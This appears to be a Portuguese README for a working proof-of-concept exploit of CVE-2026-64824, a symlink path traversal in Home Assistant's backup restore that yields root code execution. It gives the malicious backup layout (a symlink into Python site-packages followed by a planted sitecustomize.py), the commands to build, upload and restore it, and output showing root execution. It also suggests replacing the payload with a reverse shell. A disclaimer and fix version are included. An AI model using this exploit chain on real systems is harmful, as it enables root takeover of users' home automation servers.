
CVE-2026-64824 — Travessia de caminho por symlink em backup-restore do Home Assistant → RCE como root. Primeiro PoC funcional, verificado em HA 2026.5.4 real (sobrescrita de sitecustomize.py). GHSA-cwh8-w64c-4j5h
CVSS 8.4 (Crítico) · GHSA-cwh8-w64c-4j5h · CWE-22 / CWE-59
Um atacante autenticado (admin) envia um tar de backup malicioso. O caminho de restauração extrai o homeassistant.tar.gz interno com filter="fully_trusted" e apenas valida os nomes dos membros — nunca os linknames de SYMTYPE. Um symlink apontando para um caminho absoluto (ex.: site-packages/ do Python) é respeitado, então um sitecustomize.py gravado depois dele cai fora do diretório de extração como root (a imagem Docker oficial executa o HA como root). Na próxima inicialização do Python, ele é importado automaticamente → RCE como root.
✅ Home Assistant Core 2026.5.4 real (Docker, arm64, Python 3.14.2):
POST /api/backup/upload?agent_id=backup.local → 201 {"backup_id": "..."}
websocket backup/restore → executed (config replaced)
$ python3 -c 'print(1)'
$ ls -la /tmp/HA_PWNED_64824
-rw-r--r-- 1 root root 130 ... /tmp/HA_PWNED_64824
$ cat /tmp/HA_PWNED_64824
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),...
✅ sitecustomize.py foi parar em /usr/local/lib/python3.14/site-packages/ (pertencente ao root)
✅ Teste negativo: o tarfile do Python 3.14.5 rejeita symlinks absolutos (FileExistsError); o Python 3.14.2 (incluído no HA 2026.5.x) os extrai — é por isso que versões mais antigas são exploráveis. Corrigido no HA 2026.7.0.
homeassistant/backup_restore.py (~v2026.5.x):
istf.extractall(
path=Path(tempdir, "homeassistant"),
members=securetar.secure_path(istf), # validates member.name only!
filter="fully_trusted",
)
# ... shutil.copytree(Path(tempdir, "homeassistant", "data"), config_dir, ...)
secure_path() rejeita nomes absolutos e travessia .., mas um membro SYMTYPE com um nome benigno + linkname absoluto passa pelo filtro inalterado, e fully_trusted diz ao tarfile para não fiscalizar isso.
# 1. Build malicious backup from a real HA backup
python3 CVE-2026-64824.py --build --backup real_backup.tar -o evil.tar \
--link-target /usr/local/lib/python3.14/site-packages/
# 2. Upload + restore (token = long-lived access token)
python3 CVE-2026-64824.py --target http://ha:8123 --token <LLAT> --backup real_backup.tar
Formato do backup (v2, corresponde a backups reais do HA):
outer: ./backup.json {version:2, type:partial, compressed:true, protected:false}
outer: homeassistant.tar.gz
inner: data/evil_link -> /usr/local/lib/python3.14/site-packages/ (SYMTYPE)
inner: data/evil_link/sitecustomize.py (payload)
Qualquer inicialização de processo Python (reinício do HA, python3 ... no contêiner) aciona o sitecustomize.py — que executa id > /tmp/HA_PWNED_64824 como root. Troque o payload por um reverse shell para controle total.
Atualize para o HA 2026.7.0+ (a restauração agora usa um filtro tar estrito que rejeita entradas de symlink que escapem do diretório de extração).
Somente para fins de pesquisa/educação. A vulnerabilidade já foi divulgada (GHSA-cwh8-w64c-4j5h) e corrigida na versão 2026.7.0; este repositório demonstra a cadeia de exploração para defensores e pesquisadores.